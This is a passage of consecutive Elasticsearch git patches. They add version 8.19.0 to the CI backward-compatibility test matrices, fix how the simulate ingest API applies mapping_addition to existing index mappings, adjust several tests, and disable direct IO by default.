+++ b/.buildkite/pipelines/intake.yml
@@ -65,7 +65,7 @@ steps:
         timeout_in_minutes: 300
         matrix:
           setup:
-            BWC_VERSION: ["8.17.10", "8.18.5", "9.0.5", "9.1.1"]
+            BWC_VERSION: ["8.17.10", "8.18.5", "8.19.0", "9.0.5", "9.1.1"]
         agents:
           provider: gcp
           image: family/elasticsearch-ubuntu-2404
diff --git a/.buildkite/pipelines/periodic-packaging.yml b/.buildkite/pipelines/periodic-packaging.yml
index f4a653a40fc72..560197bcea26d 100644
--- a/.buildkite/pipelines/periodic-packaging.yml
+++ b/.buildkite/pipelines/periodic-packaging.yml
@@ -334,6 +334,22 @@ steps:
         env:
           BWC_VERSION: 8.18.5
 
+      - label: "{{matrix.image}} / 8.19.0 / packaging-tests-upgrade"
+        command: ./.ci/scripts/packaging-test.sh -Dbwc.checkout.align=true destructiveDistroUpgradeTest.v8.19.0
+        timeout_in_minutes: 300
+        matrix:
+          setup:
+            image:
+              - rocky-8
+              - ubuntu-2404
+        agents:
+          provider: gcp
+          image: family/elasticsearch-{{matrix.image}}
+          machineType: custom-16-32768
+          buildDirectory: /dev/shm/bk
+        env:
+          BWC_VERSION: 8.19.0
+
       - label: "{{matrix.image}} / 9.0.5 / packaging-tests-upgrade"
         command: ./.ci/scripts/packaging-test.sh -Dbwc.checkout.align=true destructiveDistroUpgradeTest.v9.0.5
         timeout_in_minutes: 300
diff --git a/.buildkite/pipelines/periodic.yml b/.buildkite/pipelines/periodic.yml
index 37c710a1f2e94..98cbab4cc9b1b 100644
--- a/.buildkite/pipelines/periodic.yml
+++ b/.buildkite/pipelines/periodic.yml
@@ -363,6 +363,25 @@ steps:
             - signal_reason: agent_stop
               limit: 3
 
+      - label: 8.19.0 / bwc
+        command: .ci/scripts/run-gradle.sh -Dbwc.checkout.align=true v8.19.0#bwcTest
+        timeout_in_minutes: 300
+        agents:
+          provider: gcp
+          image: family/elasticsearch-ubuntu-2404
+          machineType: n1-standard-32
+          buildDirectory: /dev/shm/bk
+          preemptible: true
+        env:
+          BWC_VERSION: 8.19.0
+        retry:
+          automatic:
+            - exit_status: "-1"
+              limit: 3
+              signal_reason: none
+            - signal_reason: agent_stop
+              limit: 3
+
       - label: 9.0.5 / bwc
         command: .ci/scripts/run-gradle.sh -Dbwc.checkout.align=true v9.0.5#bwcTest
         timeout_in_minutes: 300
@@ -468,7 +487,7 @@ steps:
           setup:
             ES_RUNTIME_JAVA:
               - openjdk21
-            BWC_VERSION: ["8.17.10", "8.18.5", "9.0.5", "9.1.1"]
+            BWC_VERSION: ["8.17.10", "8.18.5", "8.19.0", "9.0.5", "9.1.1"]
         agents:
           provider: gcp
           image: family/elasticsearch-ubuntu-2404
@@ -512,7 +531,7 @@ steps:
             ES_RUNTIME_JAVA:
               - openjdk21
               - openjdk23
-            BWC_VERSION: ["8.17.10", "8.18.5", "9.0.5", "9.1.1"]
+            BWC_VERSION: ["8.17.10", "8.18.5", "8.19.0", "9.0.5", "9.1.1"]
         agents:
           provider: gcp
           image: family/elasticsearch-ubuntu-2404
diff --git a/.ci/bwcVersions b/.ci/bwcVersions
index 62a893f2ccd29..0220f6c746e31 100644
--- a/.ci/bwcVersions
+++ b/.ci/bwcVersions
@@ -18,5 +18,6 @@ BWC_VERSION:
   - "8.16.6"
   - "8.17.10"
   - "8.18.5"
+  - "8.19.0"
   - "9.0.5"
   - "9.1.1"
diff --git a/.ci/snapshotBwcVersions b/.ci/snapshotBwcVersions
index 199c65b86ac43..5fb938db1e912 100644
--- a/.ci/snapshotBwcVersions
+++ b/.ci/snapshotBwcVersions
@@ -1,5 +1,6 @@
 BWC_VERSION:
   - "8.17.10"
   - "8.18.5"
+  - "8.19.0"
   - "9.0.5"
   - "9.1.1"
diff --git a/server/src/main/java/org/elasticsearch/Version.java b/server/src/main/java/org/elasticsearch/Version.java
index f1f9a099b20ce..dbe1bb2294d43 100644
--- a/server/src/main/java/org/elasticsearch/Version.java
+++ b/server/src/main/java/org/elasticsearch/Version.java
@@ -212,6 +212,7 @@ public class Version implements VersionId<Version>, ToXContentFragment {
     public static final Version V_8_18_3 = new Version(8_18_03_99);
     public static final Version V_8_18_4 = new Version(8_18_04_99);
     public static final Version V_8_18_5 = new Version(8_18_05_99);
+    public static final Version V_8_19_0 = new Version(8_19_00_99);
     public static final Version V_9_0_0 = new Version(9_00_00_99);
     public static final Version V_9_0_1 = new Version(9_00_01_99);
     public static final Version V_9_0_2 = new Version(9_00_02_99);

From f09294c16025388725d3846a3879c8399c84a6d2 Mon Sep 17 00:00:00 2001
From: Keith Massey <keith.massey@elastic.co>
Date: Wed, 30 Jul 2025 16:11:46 -0500
Subject: [PATCH 261/299] Simulate ingest API uses existing index mapping when
 mapping_addition is given (#132101) (#132204)

---
 docs/changelog/132101.yaml                    |   6 +
 .../test/ingest/80_ingest_simulate.yml        | 191 ++++++++++++++++++
 .../bulk/TransportSimulateBulkAction.java     |  56 ++---
 3 files changed, 217 insertions(+), 36 deletions(-)
 create mode 100644 docs/changelog/132101.yaml

diff --git a/docs/changelog/132101.yaml b/docs/changelog/132101.yaml
new file mode 100644
index 0000000000000..84ff4fbefaafc
--- /dev/null
+++ b/docs/changelog/132101.yaml
@@ -0,0 +1,6 @@
+pr: 132101
+summary: Simulate ingest API uses existing index mapping when `mapping_addition` is
+  given
+area: Ingest Node
+type: bug
+issues: []
diff --git a/qa/smoke-test-ingest-with-all-dependencies/src/yamlRestTest/resources/rest-api-spec/test/ingest/80_ingest_simulate.yml b/qa/smoke-test-ingest-with-all-dependencies/src/yamlRestTest/resources/rest-api-spec/test/ingest/80_ingest_simulate.yml
index ba4e73f0c5e09..2cccc8988ff0e 100644
--- a/qa/smoke-test-ingest-with-all-dependencies/src/yamlRestTest/resources/rest-api-spec/test/ingest/80_ingest_simulate.yml
+++ b/qa/smoke-test-ingest-with-all-dependencies/src/yamlRestTest/resources/rest-api-spec/test/ingest/80_ingest_simulate.yml
@@ -1740,3 +1740,194 @@ setup:
   - match: { docs.0.doc._source.abc: "sfdsfsfdsfsfdsfsfdsfsfdsfsfdsf" }
   - match: { docs.0.doc.ignored_fields: [ {"field": "abc"} ] }
   - not_exists: docs.0.doc.error
+
+---
+"Test mapping addition correctly respects mapping of indices without templates":
+  # In this test, we make sure that when we have an index that has mapping but was not built with a template, that the
+  # additional_mapping respects the existing mapping for validation.
+
+  - skip:
+      features:
+        - headers
+        - allowed_warnings
+
+  # A global match-everything legacy template is added to the cluster sometimes (rarely). We have to get rid of this template if it exists
+  # because this test is making sure we get correct behavior when an index matches *no* template:
+  - do:
+      indices.delete_template:
+        name:   '*'
+        ignore: 404
+
+  # We create the index no-template-index with an implicit mapping that has a foo field with type long:
+  - do:
+      bulk:
+        refresh: true
+        body:
+          - '{"index": {"_index": "no-template-index"}}'
+          - '{"foo": 3}'
+
+  # Now we make sure that the existing mapping is taken into account when we simulate with a mapping_addition. Since
+  # the pre-existing mapping has foo mapped as a long, this ought to fail with a document_parsing_exception because
+  # we are attempting to write a boolean foo.
+  - do:
+      headers:
+        Content-Type: application/json
+      simulate.ingest:
+        index: no-template-index
+        body: >
+          {
+            "docs": [
+              {
+                "_id": "test-id",
+                "_index": "no-template-index",
+                "_source": {
+                  "@timestamp": "2025-07-25T09:06:06.929Z",
+                  "is_valid": true,
+                  "foo": true
+                }
+              }
+            ],
+            "mapping_addition": {
+              "properties": {
+                "is_valid": {
+                  "type": "boolean"
+                }
+              }
+            }
+          }
+  - length: { docs: 1 }
+  - match: { docs.0.doc._index: "no-template-index" }
+  - match: { docs.0.doc._source.foo: true }
+  - match: { docs.0.doc._source.is_valid: true }
+  - match: { docs.0.doc.error.type: "document_parsing_exception" }
+
+  # Now we add a template for this index.
+  - do:
+      indices.put_template:
+        name: my-template-1
+        body:
+          index_patterns: no-template-index
+          mappings:
+            properties:
+              foo:
+                type: boolean
+
+  # And we still expect the index's mapping to be used rather than the template:
+  - do:
+      headers:
+        Content-Type: application/json
+      simulate.ingest:
+        index: no-template-index
+        body: >
+          {
+            "docs": [
+              {
+                "_id": "test-id",
+                "_index": "no-template-index",
+                "_source": {
+                  "@timestamp": "2025-07-25T09:06:06.929Z",
+                  "is_valid": true,
+                  "foo": true
+                }
+              }
+            ],
+            "mapping_addition": {
+              "properties": {
+                "is_valid": {
+                  "type": "boolean"
+                }
+              }
+            }
+          }
+  - length: { docs: 1 }
+  - match: { docs.0.doc._index: "no-template-index" }
+  - match: { docs.0.doc._source.foo: true }
+  - match: { docs.0.doc._source.is_valid: true }
+  - match: { docs.0.doc.error.type: "document_parsing_exception" }
+
+---
+"Test ingest simulate with mapping addition for data streams when write index has different mapping":
+  # In this test, we make sure that when a data stream's write index has a mapping that is different from the mapping
+  # in its template, and a mapping_override is given, then the mapping_override is applied to the mapping of the write
+  # index rather than the mapping of the template.
+
+  - skip:
+      features:
+        - headers
+        - allowed_warnings
+
+  - do:
+      cluster.put_component_template:
+        name: mappings_template
+        body:
+          template:
+            mappings:
+              dynamic: strict
+              properties:
+                foo:
+                  type: boolean
+                bar:
+                  type: boolean
+
+  - do:
+      allowed_warnings:
+        - "index template [my-template-1] has index patterns [simple-data-stream1] matching patterns from existing older templates [global] with patterns (global => [*]); this template [my-template-1] will take precedence during new index creation"
+      indices.put_index_template:
+        name: my-template-1
+        body:
+          index_patterns: [simple-data-stream1]
+          composed_of:
+            - mappings_template
+          data_stream: {}
+
+  - do:
+      indices.create_data_stream:
+        name: simple-data-stream1
+  - is_true: acknowledged
+
+  - do:
+      cluster.health:
+        wait_for_status: yellow
+
+  # Now that the data stream exists, we change the template to remove the mapping for bar. The write index still has the
+  # old mapping.
+  - do:
+      cluster.put_component_template:
+        name: mappings_template
+        body:
+          template:
+            mappings:
+              properties:
+                foo:
+                  type: boolean
+
+  # We expect the mapping_addition to be added to the mapping of the write index, which has a boolean bar field. So this
+  # simulate ingest ought to fail.
+  - do:
+      headers:
+        Content-Type: application/json
+      simulate.ingest:
+        index: simple-data-stream1
+        body: >
+          {
+            "docs": [
+              {
+                "_id": "asdf",
+                "_source": {
+                  "@timestamp": 1234,
+                  "bar": "baz"
+                }
+              }
+            ],
+            "mapping_addition": {
+              "properties": {
+                "baz": {
+                  "type": "keyword"
+                }
+              }
+            }
+          }
+  - length: { docs: 1 }
+  - match: { docs.0.doc._index: "simple-data-stream1" }
+  - match: { docs.0.doc._source.bar: "baz" }
+  - match: { docs.0.doc.error.type: "document_parsing_exception" }
diff --git a/server/src/main/java/org/elasticsearch/action/bulk/TransportSimulateBulkAction.java b/server/src/main/java/org/elasticsearch/action/bulk/TransportSimulateBulkAction.java
index ac807bf1d752c..85e9f2c5084de 100644
--- a/server/src/main/java/org/elasticsearch/action/bulk/TransportSimulateBulkAction.java
+++ b/server/src/main/java/org/elasticsearch/action/bulk/TransportSimulateBulkAction.java
@@ -69,6 +69,7 @@
 import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
+import java.util.Optional;
 import java.util.Set;
 import java.util.concurrent.Executor;
 
@@ -198,32 +199,15 @@ private Tuple<Collection<String>, Exception> validateMappings(
         Collection<String> ignoredFields = List.of();
         IndexAbstraction indexAbstraction = project.getIndicesLookup().get(request.index());
         try {
-            if (indexAbstraction != null
-                && componentTemplateSubstitutions.isEmpty()
-                && indexTemplateSubstitutions.isEmpty()
-                && mappingAddition.isEmpty()) {
+            if (indexAbstraction != null && componentTemplateSubstitutions.isEmpty() && indexTemplateSubstitutions.isEmpty()) {
                 /*
-                 * In this case the index exists and we don't have any component template overrides. So we can just use withTempIndexService
-                 * to do the mapping validation, using all the existing logic for validation.
+                 * In this case the index exists and we don't have any template overrides. So we can just merge the mappingAddition (which
+                 * might not exist) into the existing index mapping.
                  */
                 IndexMetadata imd = project.getIndexSafe(indexAbstraction.getWriteIndex(request, project));
-                indicesService.withTempIndexService(imd, indexService -> {
-                    indexService.mapperService().updateMapping(null, imd);
-                    return IndexShard.prepareIndex(
-                        indexService.mapperService(),
-                        sourceToParse,
-                        SequenceNumbers.UNASSIGNED_SEQ_NO,
-                        -1,
-                        -1,
-                        VersionType.INTERNAL,
-                        Engine.Operation.Origin.PRIMARY,
-                        Long.MIN_VALUE,
-                        false,
-                        request.ifSeqNo(),
-                        request.ifPrimaryTerm(),
-                        0
-                    );
-                });
+                CompressedXContent mappings = Optional.ofNullable(imd.mapping()).map(MappingMetadata::source).orElse(null);
+                CompressedXContent mergedMappings = mappingAddition == null ? null : mergeMappings(mappings, mappingAddition);
+                ignoredFields = validateUpdatedMappingsFromIndexMetadata(imd, mergedMappings, request, sourceToParse);
             } else {
                 /*
                  * The index did not exist, or we have component template substitutions, so we put together the mappings from existing
@@ -296,15 +280,6 @@ private Tuple<Collection<String>, Exception> validateMappings(
                         );
                         final CompressedXContent combinedMappings = mergeMappings(new CompressedXContent(mappingsMap), mappingAddition);
                         ignoredFields = validateUpdatedMappings(null, combinedMappings, request, sourceToParse);
-                    } else if (indexAbstraction != null && mappingAddition.isEmpty() == false) {
-                        /*
-                         * The index matched no templates of any kind, including the substitutions. But it might have a mapping. So we
-                         * merge in the mapping addition if it exists, and validate.
-                         */
-                        MappingMetadata mappingFromIndex = project.index(indexAbstraction.getName()).mapping();
-                        CompressedXContent currentIndexCompressedXContent = mappingFromIndex == null ? null : mappingFromIndex.source();
-                        CompressedXContent combinedMappings = mergeMappings(currentIndexCompressedXContent, mappingAddition);
-                        ignoredFields = validateUpdatedMappings(null, combinedMappings, request, sourceToParse);
                     } else {
                         /*
                          * The index matched no templates and had no mapping of its own. If there were component template substitutions
@@ -332,9 +307,6 @@ private Collection<String> validateUpdatedMappings(
         IndexRequest request,
         SourceToParse sourceToParse
     ) throws IOException {
-        if (updatedMappings == null) {
-            return List.of(); // no validation to do
-        }
         Settings dummySettings = Settings.builder()
             .put(IndexMetadata.SETTING_VERSION_CREATED, IndexVersion.current())
             .put(IndexMetadata.SETTING_NUMBER_OF_SHARDS, 1)
@@ -346,8 +318,20 @@ private Collection<String> validateUpdatedMappings(
             originalIndexMetadataBuilder.putMapping(new MappingMetadata(originalMappings));
         }
         final IndexMetadata originalIndexMetadata = originalIndexMetadataBuilder.build();
+        return validateUpdatedMappingsFromIndexMetadata(originalIndexMetadata, updatedMappings, request, sourceToParse);
+    }
+
+    private Collection<String> validateUpdatedMappingsFromIndexMetadata(
+        IndexMetadata originalIndexMetadata,
+        @Nullable CompressedXContent updatedMappings,
+        IndexRequest request,
+        SourceToParse sourceToParse
+    ) throws IOException {
+        if (updatedMappings == null) {
+            return List.of(); // no validation to do
+        }
         final IndexMetadata updatedIndexMetadata = IndexMetadata.builder(request.index())
-            .settings(dummySettings)
+            .settings(originalIndexMetadata.getSettings())
             .putMapping(new MappingMetadata(updatedMappings))
             .build();
         Engine.Index result = indicesService.withTempIndexService(originalIndexMetadata, indexService -> {

From efa8cf1714aca06532e85762973270a49ad6ad78 Mon Sep 17 00:00:00 2001
From: elasticsearchmachine
 <58790826+elasticsearchmachine@users.noreply.github.com>
Date: Thu, 31 Jul 2025 07:57:29 +0200
Subject: [PATCH 262/299] Mute org.elasticsearch.search.sort.FieldSortIT
 testSortMixedFieldTypes #129445

---
 muted-tests.yml | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/muted-tests.yml b/muted-tests.yml
index a95e7f344d57c..a92fa0a131920 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -456,6 +456,9 @@ tests:
 - class: org.elasticsearch.index.engine.MergeWithLowDiskSpaceIT
   method: testRelocationWhileForceMerging
   issue: https://github.com/elastic/elasticsearch/issues/131789
+- class: org.elasticsearch.search.sort.FieldSortIT
+  method: testSortMixedFieldTypes
+  issue: https://github.com/elastic/elasticsearch/issues/129445
 
 # Examples:
 #

From 04cbfc050e556907647fbefa8eb50a1344347de9 Mon Sep 17 00:00:00 2001
From: Yang Wang <yang.wang@elastic.co>
Date: Thu, 31 Jul 2025 16:27:28 +1000
Subject: [PATCH 263/299] [Test] Put shutdown marker on the last upgraded node
 only (#132157) (#132233)

This is the same failure as observed in #129644 for which the original
fix #129680 did not really work. It did not work because the the
ordering of checks. The shutdown marker is removed after the cluster
passes ready check so that new shards can be allocated. But the cluster
cannot pass the ready check before the shards are allocated. Hence the
circular dependency. In hindsight, there is no need to put shutdown
record for all nodes. It is only needed on the node that upgrades the
last to prevent snapshot from completion during the upgrade process.
This PR does that which ensures there are always 2 nodes for hosting new
shards.

Resolves: #132135 Resolves: #132136 Resolves: #132137
(cherry picked from commit f39ccb500a55fd0d34ed80a0399f361bdee2f301)

# Conflicts:
#	muted-tests.yml
---
 .../upgrades/RunningSnapshotIT.java           | 59 ++++++++-----------
 1 file changed, 25 insertions(+), 34 deletions(-)

diff --git a/qa/rolling-upgrade/src/javaRestTest/java/org/elasticsearch/upgrades/RunningSnapshotIT.java b/qa/rolling-upgrade/src/javaRestTest/java/org/elasticsearch/upgrades/RunningSnapshotIT.java
index 261e92c5d7b65..3e2dfa24e7237 100644
--- a/qa/rolling-upgrade/src/javaRestTest/java/org/elasticsearch/upgrades/RunningSnapshotIT.java
+++ b/qa/rolling-upgrade/src/javaRestTest/java/org/elasticsearch/upgrades/RunningSnapshotIT.java
@@ -12,12 +12,10 @@
 import com.carrotsearch.randomizedtesting.annotations.Name;
 
 import org.elasticsearch.client.Request;
-import org.elasticsearch.common.Strings;
 import org.elasticsearch.common.settings.Settings;
 import org.elasticsearch.test.rest.ObjectPath;
 
 import java.io.IOException;
-import java.util.Collection;
 import java.util.Map;
 import java.util.stream.Collectors;
 
@@ -26,7 +24,6 @@
 import static org.hamcrest.Matchers.containsInAnyOrder;
 import static org.hamcrest.Matchers.empty;
 import static org.hamcrest.Matchers.equalTo;
-import static org.hamcrest.Matchers.hasSize;
 import static org.hamcrest.Matchers.not;
 
 public class RunningSnapshotIT extends AbstractRollingUpgradeTestCase {
@@ -45,6 +42,13 @@ public void testRunningSnapshotCompleteAfterUpgrade() throws Exception {
             .collect(Collectors.toUnmodifiableMap(Map.Entry::getKey, entry -> entry.getValue().get("name").toString()));
         assertThat(nodeIdToNodeNames.values(), containsInAnyOrder("test-cluster-0", "test-cluster-1", "test-cluster-2"));
 
+        final var lastUpgradeNodeId = nodeIdToNodeNames.entrySet()
+            .stream()
+            .filter(entry -> "test-cluster-2".equals(entry.getValue()))
+            .map(Map.Entry::getKey)
+            .findFirst()
+            .orElseThrow(() -> new AssertionError("node id not found in " + nodeIdToNodeNames));
+
         if (isOldCluster()) {
             registerRepository(repositoryName, "fs", randomBoolean(), Settings.builder().put("location", "backup").build());
             // create an index to have one shard per node
@@ -54,54 +58,41 @@ public void testRunningSnapshotCompleteAfterUpgrade() throws Exception {
                 indexDocs(indexName, between(10, 50));
             }
             flush(indexName, true);
-            // Signal shutdown to prevent snapshot from being completed
-            putShutdownMetadata(nodeIdToNodeNames.keySet());
+            // Signal shutdown for the last node to upgrade to prevent snapshot from being completed during the upgrade process
+            putShutdownMetadata(lastUpgradeNodeId);
             createSnapshot(repositoryName, snapshotName, false);
             assertRunningSnapshot(repositoryName, snapshotName);
         } else {
             if (isUpgradedCluster()) {
-                deleteShutdownMetadata(nodeIdToNodeNames.keySet());
-                assertNoShutdownMetadata(nodeIdToNodeNames.keySet());
+                deleteShutdownMetadata(lastUpgradeNodeId);
+                assertNoShutdownMetadata(lastUpgradeNodeId);
                 ensureGreen(indexName);
                 assertBusy(() -> assertCompletedSnapshot(repositoryName, snapshotName));
             } else {
-                if (isFirstMixedCluster()) {
-                    final var upgradedNodeIds = nodeIdToNodeNames.entrySet()
-                        .stream()
-                        .filter(entry -> "test-cluster-0".equals(entry.getValue()))
-                        .map(Map.Entry::getKey)
-                        .collect(Collectors.toUnmodifiableSet());
-                    assertThat(upgradedNodeIds, hasSize(1));
-                    deleteShutdownMetadata(upgradedNodeIds);
-                }
                 assertRunningSnapshot(repositoryName, snapshotName);
             }
         }
     }
 
-    private void putShutdownMetadata(Collection<String> nodeIds) throws IOException {
-        for (String nodeId : nodeIds) {
-            final Request putShutdownRequest = new Request("PUT", "/_nodes/" + nodeId + "/shutdown");
-            putShutdownRequest.setJsonEntity("""
-                {
-                  "type": "remove",
-                  "reason": "test"
-                }""");
-            client().performRequest(putShutdownRequest);
-        }
+    private void putShutdownMetadata(String nodeId) throws IOException {
+        final Request putShutdownRequest = new Request("PUT", "/_nodes/" + nodeId + "/shutdown");
+        putShutdownRequest.setJsonEntity("""
+            {
+              "type": "remove",
+              "reason": "test"
+            }""");
+        client().performRequest(putShutdownRequest);
     }
 
-    private void deleteShutdownMetadata(Collection<String> nodeIds) throws IOException {
-        for (String nodeId : nodeIds) {
-            final Request request = new Request("DELETE", "/_nodes/" + nodeId + "/shutdown");
-            request.addParameter(IGNORE_RESPONSE_CODES_PARAM, "404");
-            client().performRequest(request);
-        }
+    private void deleteShutdownMetadata(String nodeId) throws IOException {
+        final Request request = new Request("DELETE", "/_nodes/" + nodeId + "/shutdown");
+        request.addParameter(IGNORE_RESPONSE_CODES_PARAM, "404");
+        client().performRequest(request);
     }
 
-    private void assertNoShutdownMetadata(Collection<String> nodeIds) throws IOException {
+    private void assertNoShutdownMetadata(String nodeId) throws IOException {
         final ObjectPath responsePath = assertOKAndCreateObjectPath(
-            client().performRequest(new Request("GET", "/_nodes/" + Strings.collectionToCommaDelimitedString(nodeIds) + "/shutdown"))
+            client().performRequest(new Request("GET", "/_nodes/" + nodeId + "/shutdown"))
         );
         assertThat(responsePath.evaluate("nodes"), empty());
     }

From 27b15225ae2ecead2a518934178ae6d0c3c8a1ee Mon Sep 17 00:00:00 2001
From: Simon Cooper <simon.cooper@elastic.co>
Date: Thu, 31 Jul 2025 10:18:54 +0100
Subject: [PATCH 264/299] [9.1.1] Turn direct IO off by default (#132002)

---
 .../java/org/elasticsearch/index/store/DirectIOIT.java          | 2 ++
 .../codec/vectors/es818/ES818BinaryQuantizedVectorsFormat.java  | 2 +-
 .../vectors/es818/ES818BinaryQuantizedVectorsFormatTests.java   | 1 +
 .../es818/ES818HnswBinaryQuantizedVectorsFormatTests.java       | 1 +
 4 files changed, 5 insertions(+), 1 deletion(-)

diff --git a/server/src/internalClusterTest/java/org/elasticsearch/index/store/DirectIOIT.java b/server/src/internalClusterTest/java/org/elasticsearch/index/store/DirectIOIT.java
index f9af9fea6e3b1..f7707d27b41e7 100644
--- a/server/src/internalClusterTest/java/org/elasticsearch/index/store/DirectIOIT.java
+++ b/server/src/internalClusterTest/java/org/elasticsearch/index/store/DirectIOIT.java
@@ -17,6 +17,7 @@
 import org.apache.lucene.store.IndexOutput;
 import org.apache.lucene.tests.util.LuceneTestCase;
 import org.elasticsearch.common.settings.Settings;
+import org.elasticsearch.index.codec.vectors.es818.ES818BinaryQuantizedVectorsFormat;
 import org.elasticsearch.plugins.Plugin;
 import org.elasticsearch.search.vectors.KnnSearchBuilder;
 import org.elasticsearch.search.vectors.VectorData;
@@ -46,6 +47,7 @@ public class DirectIOIT extends ESIntegTestCase {
 
     @BeforeClass
     public static void checkSupported() throws IOException {
+        assumeTrue("test requires direct IO", ES818BinaryQuantizedVectorsFormat.USE_DIRECT_IO);
         Path path = createTempDir("directIOProbe");
         try (Directory dir = open(path); IndexOutput out = dir.createOutput("out", IOContext.DEFAULT)) {
             out.writeString("test");
diff --git a/server/src/main/java/org/elasticsearch/index/codec/vectors/es818/ES818BinaryQuantizedVectorsFormat.java b/server/src/main/java/org/elasticsearch/index/codec/vectors/es818/ES818BinaryQuantizedVectorsFormat.java
index 5df81c35bbd40..146164b55f00a 100644
--- a/server/src/main/java/org/elasticsearch/index/codec/vectors/es818/ES818BinaryQuantizedVectorsFormat.java
+++ b/server/src/main/java/org/elasticsearch/index/codec/vectors/es818/ES818BinaryQuantizedVectorsFormat.java
@@ -87,7 +87,7 @@
  */
 public class ES818BinaryQuantizedVectorsFormat extends FlatVectorsFormat {
 
-    static final boolean USE_DIRECT_IO = Boolean.parseBoolean(System.getProperty("vector.rescoring.directio", "true"));
+    public static final boolean USE_DIRECT_IO = Boolean.parseBoolean(System.getProperty("vector.rescoring.directio", "false"));
 
     public static final String BINARIZED_VECTOR_COMPONENT = "BVEC";
     public static final String NAME = "ES818BinaryQuantizedVectorsFormat";
diff --git a/server/src/test/java/org/elasticsearch/index/codec/vectors/es818/ES818BinaryQuantizedVectorsFormatTests.java b/server/src/test/java/org/elasticsearch/index/codec/vectors/es818/ES818BinaryQuantizedVectorsFormatTests.java
index ce3f285bdf45d..ca4721c354ef9 100644
--- a/server/src/test/java/org/elasticsearch/index/codec/vectors/es818/ES818BinaryQuantizedVectorsFormatTests.java
+++ b/server/src/test/java/org/elasticsearch/index/codec/vectors/es818/ES818BinaryQuantizedVectorsFormatTests.java
@@ -373,6 +373,7 @@ private Directory newFSDirectory() throws IOException {
     }
 
     static void checkDirectIOSupported() {
+        assumeTrue("test requires direct IO", ES818BinaryQuantizedVectorsFormat.USE_DIRECT_IO);
         Path path = createTempDir("directIOProbe");
         try (Directory dir = open(path); IndexOutput out = dir.createOutput("out", IOContext.DEFAULT)) {
             out.writeString("test");
diff --git a/server/src/test/java/org/elasticsearch/index/codec/vectors/es818/ES818HnswBinaryQuantizedVectorsFormatTests.java b/server/src/test/java/org/elasticsearch/index/codec/vectors/es818/ES818HnswBinaryQuantizedVectorsFormatTests.java
index 3a4a0d097ea1b..98aed559d9768 100644
--- a/server/src/test/java/org/elasticsearch/index/codec/vectors/es818/ES818HnswBinaryQuantizedVectorsFormatTests.java
+++ b/server/src/test/java/org/elasticsearch/index/codec/vectors/es818/ES818HnswBinaryQuantizedVectorsFormatTests.java
@@ -221,6 +221,7 @@ private Directory newFSDirectory() throws IOException {
     }
 
     static void checkDirectIOSupported() {
+        assumeTrue("test requires direct IO", ES818BinaryQuantizedVectorsFormat.USE_DIRECT_IO);
         Path path = createTempDir("directIOProbe");
         try (Directory dir = open(path); IndexOutput out = dir.createOutput("out", IOContext.DEFAULT)) {
             out.writeString("test");

From 4939ec042a7415666aacd54e9b2b9741fba4121e Mon Sep 17 00:00:00 2001
From: Yang Wang <yang.wang@elastic.co>
Date: Thu, 31 Jul 2025 19:21:35 +1000
Subject: [PATCH 265/299] [Test] Actually invoke the listener on failure case
 (#132229) (#132244)

The listener is expected to be called on failure case. This PR does
that.

Resolves: #131979
---
 .../multiproject/action/DeleteProjectActionTests.java           | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/test/external-modules/multi-project/src/test/java/org/elasticsearch/multiproject/action/DeleteProjectActionTests.java b/test/external-modules/multi-project/src/test/java/org/elasticsearch/multiproject/action/DeleteProjectActionTests.java
index 1fb11acb550f7..5f71fccb73888 100644
--- a/test/external-modules/multi-project/src/test/java/org/elasticsearch/multiproject/action/DeleteProjectActionTests.java
+++ b/test/external-modules/multi-project/src/test/java/org/elasticsearch/multiproject/action/DeleteProjectActionTests.java
@@ -64,7 +64,7 @@ public void testDeleteNonExisting() throws Exception {
         );
         var nonExistingTask = createTask(randomUniqueProjectId(), listener);
         var tasks = Stream.concat(Stream.of(nonExistingTask), deletedProjects.stream().map(this::createTask)).toList();
-        var result = ClusterStateTaskExecutorUtils.executeIgnoringFailures(state, executor, tasks);
+        var result = ClusterStateTaskExecutorUtils.executeHandlingResults(state, executor, tasks, t -> {}, DeleteProjectTask::onFailure);
         for (ProjectId deletedProject : deletedProjects) {
             assertNull(result.metadata().projects().get(deletedProject));
             assertNull(result.globalRoutingTable().routingTables().get(deletedProject));

From 10a8af2abbec237b462fd453ca7981c04284bed6 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Iv=C3=A1n=20Cea=20Fontenla?= <ivancea96@outlook.com>
Date: Thu, 31 Jul 2025 11:23:02 +0200
Subject: [PATCH 266/299] ESQL: Fix StdDev test for NaN results (#132195)
 (#132245)

---
 .../xpack/esql/expression/function/aggregate/StdDevTests.java   | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/aggregate/StdDevTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/aggregate/StdDevTests.java
index 409bb5bcba6fb..a429abf721739 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/aggregate/StdDevTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/aggregate/StdDevTests.java
@@ -61,7 +61,7 @@ private static TestCaseSupplier makeSupplier(TestCaseSupplier.TypedDataSupplier
                 welfordAlgorithm.add(value);
             }
             var result = welfordAlgorithm.evaluate();
-            var expected = Double.isInfinite(result) ? null : result;
+            var expected = Double.isFinite(result) ? result : null;
             return new TestCaseSupplier.TestCase(
                 List.of(fieldTypedData),
                 "StdDev[field=Attribute[channel=0]]",

From 3b84f64c003b5d9ac6f8503e2a494c790e0a83f8 Mon Sep 17 00:00:00 2001
From: Albert Zaharovits <email+github@zalbert.me>
Date: Thu, 31 Jul 2025 17:34:38 +0300
Subject: [PATCH 267/299] Fix ThreadPoolMergeExecutorServiceDiskSpaceTests
 testUnavailableBudgetBlocksNewMergeTasksFromStartingExecution (#132020)
 (#132267)

Avoid mocking merge tasks as backlogged (which are then re-enqueued)
because it makes the merge task's queue available budget value unsteady,
which breaks the test when it later schedules merge tasks that are
under/over budget.

Closes https://github.com/elastic/elasticsearch/issues/130205
https://github.com/elastic/elasticsearch/issues/131982
---
 muted-tests.yml                                      |  3 ---
 ...ThreadPoolMergeExecutorServiceDiskSpaceTests.java | 12 ++----------
 2 files changed, 2 insertions(+), 13 deletions(-)

diff --git a/muted-tests.yml b/muted-tests.yml
